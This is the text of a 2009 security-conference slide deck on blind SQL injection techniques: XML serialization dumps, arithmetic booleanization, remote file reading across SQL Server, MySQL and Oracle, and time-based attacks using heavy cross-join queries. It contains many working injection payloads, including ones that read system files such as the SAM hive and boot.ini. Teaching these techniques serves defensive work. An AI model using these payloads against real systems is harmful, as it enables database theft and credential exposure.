ShmooCon 2009 - (Re)Playing(Blind)Sql

(Re) Playing with (Blind) SQL Injection José Palazón “Palako” Mobile Security at Yahoo! Chema Alonso Informatica64 Microsoft MVP Enterprise Security

Spain (…not only bulls…)

SQL Injection attacks http://www.phrack.org/issues.html?id=8&issue=54 A long time ago, in a galaxy far, far away…

Agenda
Serialized SQL Injection
Demo: XML Extractor
Arithmetic SQL Injection
Divide by Zero
Sums and subtractions
Type oveflow
Demo
Remote File Downloading using Blind SQL Injection
SQL Sever
MySQL
Oracle
Demo: RFD Tool
Time-Based Blind SQL Injection using heavy queries
Demo: Marathon Tool

Goal: To Merge complex resultsets in a single showable field
XML serialization functions allow to convert a resultset into a one XML string.
It´s possible to download big amount of data with single and simple injections.

SQL Server
FOR XML: Retrieves data as a single string representing an XML tree.
RAW: Mandatory option. Shows the information converting each row of the result set in an XML element in the form <row />.
BINARY BASE64: The query will fail if we find any BINARY data type column (containing images, or passwords) if this option is not explicitly specified.
union select '1','2','3',(select * from sysusers for xml raw, binary base64)
XMLSCHEMA: obtains the whole table structure, including the data types, column names and other constraints.
Described by Dani Kachakil

MySQL
No default XML support, requires a server side extension
GROUP_CONCAT (v 4.1+)

Oracle
xmlforest, xmlelement,…
No * support

Demo: Serialized SQL Injection

Arithmetic Blind SQL Injection

Blind Attacks
Attacker injects code but can´t access directly to the data.
However this injection changes the behavior of the web application.
Then the attacker looks for differences between true code injections (1=1) and false code injections (1=2) in the response pages to extract data.
Blind SQL Injection
Biind Xpath Injection
Blind LDAP Injection

Blind SQL Injection Attacks
Attacker injects:
“ True where clauses”
“ False where clauses“
Ex:
Program.php?id=1 and 1=1
Program.php?id=1 and 1=2
Program doesn’t return any visible data from database or data in error messages.
The attacker can´t see any data extracted from the database.

Attacker analyzes the response pages looking for differences between “True-Answer Page” and “False-Answer Page”:
Different hashes
Different html structure
Different patterns (keywords)
Different linear ASCII sums
“ Different behavior”
By example: Response Time

If any difference exists, then:
Attacker can extract all information from database
How? Using “booleanization”
MySQL:
Program.php?id=1 and 100>(ASCII(Substring(user(),1,1)))
“ True-Answer Page” or “False-Answer Page”?
MSSQL:
Program.php?id=1 and 100>(Select top 1 ASCII(Substring(name,1,1))) from sysusers)
Oracle:
Program.php?id=1 and 100>(Select ASCII(Substr(username,1,1))) from all_users where rownum<=1)

The query force the parameter to be numeric
SELECT field FROM table WHERE id=abs( param )
Boolean logic is created with math operations
Divide by zero
Type overflows

Divide by zero (David Litchfield)
Id=A+(1/(ASCII(B)-C))
A-> Param value originally used in the query.
B -> Value we are searching for, e.g.: Substring(passwd,1,1)
C-> Counter [0..255]
When ASCII(B)=C, the DB will generate a divide by zero exception.

Id=A+ASCII(B)-C
When ASCII(B)=C, then the response page of id=A+ASCII(B)-C will be the same as id=A

Value type overflow
Id=A+((C/ASCII(B))*(K))
K-> Value that overflows the type defined for A
(e.g. if A is integer, then K=2^ 32 )
When C/ASCII(B)==1, K*1 overflows the data type

Demo:
Divide by zero
Integer overflow

Remote File Downloading using Blind SQL Injection techniques

Accessing Files
Two ways:
Load the file in a temp table
and i>(select top 1 ASCII(Substring(column)(file,pos,1)) from temp_table ??
Load the file in the query
With every query the file is loaded in memory
I am very sorry, engine 
and i>ASCII(Substring(load_file(file,pos,1))??

SQL Server 2K - External Data Sources
Only for known filetypes:
Access trough Drivers: Txt, csv, xls, mdb, log
And 200>ASCII (SUBSTRING(SELECT * FROM OPENROWSET('MSDASQL', 'Driver = {Microsoft Text Driver (*.txt; *.csv)};DefaultDir=C:;','select top 1 * from c:dir arget.txt’),1,1))
Privileges
HKEY_LOCAL_MACHINESOFTWAREMicrosoftMSSQLServerProviders DisallowAdhocAccess=0
By default this key doesn´t exist so only users with Server Admin Role can use these functions.
NTFS permissions

SQL Server 2K – Bulk option
Access to any file
; Create Table TempTable as (row varchar(8000)) --
; Bulk Insert TempTable From 'c:file.ext' With (FIELDTERMINATOR = ' ', ROWTERMINATOR = ' ‘) --
; alter table TempTable add num int IDENTITY(1,1) NOT NULL –
and (select COUNT(row) from TempTable)
and (select top 1 len(row) from TempTable where num = rownum)
and (select top 1 ASCII(SUBSTRING(row,1,1)) from TempTable where num = 1)
; Drop Table TempTable--
Privileges needed
Server Role: Bulkadmin
Database Role: db_owner o db_ddladmin
NTFS permissions

SQL Server 2k5 – 2k8
OPENDATASOURCE and OPENROWSET supported
Bulk options improved
AND 256 > ASCII(SUBSTRING ((SELECT * FROM OPENROWSET(BULK 'c:windows epairsam', SINGLE_BLOB) As Data), 1, 1))—
Permisions
Bulkadmin Server Role
External Data Sources enabled
Sp_configure
Surface configuration Tool for features

MySQL
LoadFile
SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
SQLbfTools: MySQLget command (illo and dab)
http://www.reversing.org/node/view/11
Load Data infile
; Create table C8DFC643 (datos varchar(4000))
; Load data infile 'c:oot.ini' into table C8DFC643
; alter table C8DFC643 add column num integer auto_increment unique key
and (select count(num) from C8DFC643)
and (select length(datos) from C8DFC643 where num = 1)
and (select ASCII(substring(datos,5,1)) from C8DFC643 where num = 1)
; Drop table C8DFC643

Oracle – Plain Text files
External Tables
; execute immediate 'Create Directory A4A9308C As ''c:'' '; end; --
; execute immediate 'Create table A737D141 ( datos varchar2(4000) ) organization external (TYPE ORACLE_LOADER default directory A4A9308C access parameters ( records delimited by newline ) location (''boot.ini''))'; end;--
Only Plain Text files

Oracle – DBMS_LOB
; execute immediate ‘
DECLARE l_bfile BFILE;
l_blob BLOB;
BEGIN INSERT INTO A737D141 (datos) VALUES (EMPTY_BLOB()) RETURN datos INTO l_blob;
l_bfile := BFILENAME(''A4A9308C'', ''Picture.bmp'');
DBMS_LOB.fileopen(l_bfile, Dbms_Lob.File_Readonly);
DBMS_LOB.loadfromfile(l_blob,l_bfile,DBMS_LOB.getlength(l_bfile));
DBMS_LOB.fileclose(l_bfile);
COMMIT;
EXCEPTION
WHEN OTHERS THEN ROLLBACK;
END;‘
; end; --

Demo RFD

Time-based Blind SQL Injection using heavy queries

Time-Based Blind SQL Injection
In scenarios with no differences between “True-Answer Page” and “False-Answer Page”, time delays can be used.
Injection forces a delay in the response page when the condition injected is True.
- Delay functions:
SQL Server: waitfor
Oracle: dbms_lock.sleep
MySQL: sleep or Benchmark Function
Postgres: pg_sleep
Ex:
; if (exists(select * from users)) waitfor delay '0:0:5’

Exploit for Solar Empire Web Game

Deep Blind SQL Injection
Time delay depends on the wanted value.
E.g. “a”->10s. delay, “b”->11s. Delay, …
http://labs.portcullis.co.uk/application/deep-blind-sql-injection/

Time-Based Blind SQL Injection
What about databases engines without delay functions, i.e., MS Access, Oracle connection without PL/SQL support, DB2, etc…?
Can we still perform an exploitation of Time-Based Blind SQL Injection Attacks?

Yes, we can!

“ Where-Clause” execution order
Select “whatever “
From whatever
Where condition1 and condition2
- Condition1 lasts 10 seconds
- Condition2 lasts 100 seconds
Which condition should be executed first?

The heavy condition first Condition2 (100 sec) Condition1 (10 sec) Condition2 & condition1 Response Time TRUE FALSE FALSE 110 sec TRUE TRUE TRUE 110 sec FALSE Not evaluated FALSE 100 sec

The light condition first Condition1 (10 sec) Condition2 (100 sec) Condition1 & condition2 Response Time TRUE FALSE FALSE 110 sec TRUE TRUE TRUE 110 sec FALSE Not evaluated FALSE 10 sec

Time-Based Blind SQL Injection using Heavy Queries
Attacker can perform an exploitation delaying the “True-answer page” using a heavy query.
It depends on how the database engine evaluates the where clauses in the query.
There are two types of database engines:
Databases without optimization process
Databases with optimization process

Time-Based Blind SQL Injection using Heavy Queries
Attacker could inject a heavy Cross-Join condition for delaying the response page in True-Injections.
The Cross-join injection must be heavier than the other condition.
Attacker only have to know or to guess the name of a table with select permission in the database.
Example in MSSQL:
Program.php?id=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers)

“ Default” tables to construct a heavy query
Microsoft SQL Server
sysusers
Oracle
all_users
MySQL (versión 5)
information_schema.columns
Microsoft Access
MSysAccessObjects (97 & 2000 versions)
MSysAccessStorage (2003 & 2007)

“ Default” tables to construct a heavy query
… or whatever you can guess
Clients
Customers
News
Logins
Users
Providers
… .Use your imagination…

Ex 1: MS SQL Server
Query lasts 14 seconds -> True-Answer

Ex 1: MS SQL Server
Query lasts 1 second -> False-Answer

Ex 2: Oracle
Query Lasts 22 seconds –> True-Answer

Ex 2: Oracle
Query Lasts 1 second –> False-Answer

Ex 3: Access 2000

Ex 4: Access 2007

Marathon Tool
Automates Time-Based Blind SQL Injection Attacks using Heavy Queries in SQL Server, MySQL, MS Access and Oracle Databases.
Schema Extraction from known databases
Extract data using heavy queries not matter in which database engine (without schema)
Developed in .NET
Source code available

Demo: Marathon Tool

Prevention: Don´t forget Bobby Tables! SANITIZE YOUR QUERIES!

¿Preguntas?
Speakers:
Chema Alonso ( [email_address] )
Palako ( [email_address] )
Autores
Chema Alonso ( [email_address] )
Alejandro Martín ( [email_address] )
Antonio Guzmán ( [email_address] )
Daniel Kachakil ( [email_address] )
José Palazón “Palako” ( [email_address] )
Marta Beltran ( [email_address] )

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ShmooCon 2009 - (Re)Playing(Blind)Sql

by Chema Alonso

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